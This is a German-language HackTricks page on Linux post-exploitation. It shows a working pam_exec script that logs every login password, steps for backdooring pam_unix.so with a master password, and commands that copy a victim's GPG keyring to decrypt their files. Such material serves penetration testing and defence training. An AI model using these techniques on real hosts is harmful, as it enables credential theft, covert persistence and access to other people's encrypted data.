82 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
## Sniffing Logon Passwords with PAM
Konfigurieren wir ein PAM-Modul, um jedes Passwort zu protokollieren, das ein Benutzer zum Einloggen verwendet. Wenn du nicht weißt, was PAM ist, siehe:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Dies ist nur eine Zusammenfassung:
**Technikübersicht:**
Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung der Authentifizierung auf Unix-basierten Systemen. Sie können die Sicherheit verbessern, indem Login-Prozesse angepasst werden, stellen jedoch auch ein Risiko dar, wenn sie missbraucht werden. Diese Zusammenfassung skizziert eine Technik, um Login-Anmeldeinformationen mit PAM zu erfassen, sowie Gegenmaßnahmen.
**Erfassung von Anmeldeinformationen:**
- Ein bash-Skript mit dem Namen `toomanysecrets.sh` wird erstellt, um Login-Versuche zu protokollieren und dabei Datum, Benutzername (`$PAM_USER`), Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` zu erfassen.
- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) eingebunden, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungs-Token dem Skript zur Verfügung zu stellen.
- Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen unauffällig zu protokollieren.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dies ist nur eine Zusammenfassung:
Das Pluggable Authentication Module (PAM) ist ein unter Linux verwendetes System zur Benutzer-Authentifizierung. Es basiert auf drei Hauptkonzepten: **username**, **password**, und **service**. Konfigurationsdateien für jeden Service befinden sich im Verzeichnis `/etc/pam.d/`, wo shared libraries die Authentifizierung übernehmen.
**Objective**: Modifiziere PAM, um Authentifizierung mit einem bestimmten Passwort zuzulassen und das tatsächliche Benutzerpasswort zu umgehen. Dies konzentriert sich besonders auf die `pam_unix.so` shared library, die von der Datei `common-auth` verwendet wird, die von fast allen Services zur Passwortüberprüfung eingebunden wird.
### Steps for Modifying `pam_unix.so`:
1. **Authentifizierungs-Direktive lokalisieren** in der Datei `common-auth`:
- Die Zeile, die für die Überprüfung des Benutzerpassworts verantwortlich ist, ruft `pam_unix.so` auf.
2. **Quellcode ändern**:
- Füge eine Bedingung in die `pam_unix_auth.c` Quelldatei ein, die den Zugang gewährt, wenn ein vordefiniertes Passwort verwendet wird; andernfalls läuft der normale Authentifizierungsprozess weiter.
3. **Kompilieren und Ersetzen** der modifizierten `pam_unix.so`-Bibliothek im entsprechenden Verzeichnis.
4. **Testen**:
- Mit dem vordefinierten Passwort wird über verschiedene Services (login, ssh, sudo, su, screensaver) Zugriff gewährt, während die normale Authentifizierung weiterhin unverändert funktioniert.
> [!TIP]
> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## GPG loot durch Verlagerung des homedir entschlüsseln
Wenn du eine verschlüsselte `.gpg`-Datei und das `~/.gnupg`-Verzeichnis eines Nutzers (pubring, private-keys, trustdb) findest, diese aber wegen GnuPG homedir-Berechtigungen/Locks nicht entschlüsseln kannst, kopiere den keyring an einen beschreibbaren Ort und nutze ihn als dein GPG home.
Typische Fehler, die ohne diesen Schritt auftreten: "unsafe ownership on homedir", "failed to create temporary file", oder "decryption failed: No secret key" (weil GPG das originale homedir nicht lesen/schreiben kann).
Ablauf:
```bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Wenn das geheime Schlüsselmaterial in `private-keys-v1.d` vorhanden ist, entsperrt und entschlüsselt GPG ohne Abfrage einer Passphrase (oder fordert zur Eingabe auf, wenn der Schlüssel geschützt ist).
## Referenzen
- [0xdf HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
- [GnuPG Manual Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
{{#include ../../banners/hacktricks-training.md}}